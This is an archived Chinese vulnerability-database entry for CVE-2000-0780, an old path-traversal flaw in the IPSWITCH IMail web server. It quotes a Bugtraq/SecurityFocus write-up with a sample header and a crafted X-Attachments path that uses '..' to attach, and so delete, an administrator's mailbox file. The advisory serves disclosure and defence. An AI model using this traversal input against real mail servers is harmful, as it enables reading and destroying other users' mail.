IPSWITCH IMail web服务器漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1105981 漏洞类型 未知
发布时间 2000-08-30 更新时间 2005-05-02
CVE编号 CVE-2000-0780 CNNVD-ID CNNVD-200010-093
漏洞平台 Windows CVSS评分 6.4
|漏洞来源
https://www.exploit-db.com/exploits/20182
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200010-093
|漏洞详情
IPSWITCHIMail6.04及其早期版本的web服务器存在漏洞。远程攻击者可以借助..(点点)攻击读取和删除任意文件。
|漏洞EXP
source: http://www.securityfocus.com/bid/1617/info

IPSWITCH ships a product titled IMail, an email server for usage on NT servers serving clients their mail via a web interface. To this end the IMail server provides a web server typically running on port 8383 for it's end users to access. Via this interface users may read and send mail, as well as mail with file attachments. Certain versions of IMail do not perform proper access validation however resulting in users being able to attach files resident on the server. The net result of this is users may attach files on the server to which they should have no access. This access is limited to the user privileges which the server is being run as, typically SYSTEM.

It should be noted that once a user attachs the files in question the server deletes them.

Here is a sample mail header sent by IMAIL web services which
has an attachment. Please note that this is line wrapped for readability.

Date: Tue, 11 Jul 2000 13:10:28 +0200
Message-ID: <200007111310.AA2374238664@bar.com>
MIME-Version: 1.0 Content-Type: multipart/mixed; 
boundary="==IMail_v5.0==" 
From: "Timescape" <foo@bar.com>
Reply-To: <foo@bar.com> 
To: <foo@bar.com>
Subject: test
X-Mailer: <IMail v5.01> 
X-Attachments: D:\IMAIL\spool\gonzo2.jpg ;
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 
Return-Path: <foo@bar.com> 
X-OriginalArrivalTime: 11 Jul 2000 11:20:48.0256 (UTC) FILETIME=[10327800:01BFEB2A]

This is a multi-part message in MIME format.

--==IMail_v5.0==
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

--==IMail_v5.0==
Content-Type: application/octet-stream;
name="gonzo2.jpg "
Content-Transfer-Encoding: base64

--==IMail_v5.0==--

The thing which we will be exploiting is the
X-Attachments: D:\IMAIL\spool\gonzo2.jpg ;

I made it work by modifing the compose message HTML file and
saved it locally. Then i can just arrange the path to the
attachment so that it can read

X-Attachments: D:\IMAIL\spool\..\bar\users\admin\main.mbx ;
|参考资料

来源:BID
名称:1617
链接:http://www.securityfocus.com/bid/1617
来源:www.ipswitch.com
链接:http://www.ipswitch.com/Support/IMail/news.html
来源:BUGTRAQ
名称:20000830VulnerabilityReportOnIPSWITCH'sIMail
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=96767207207553&w=2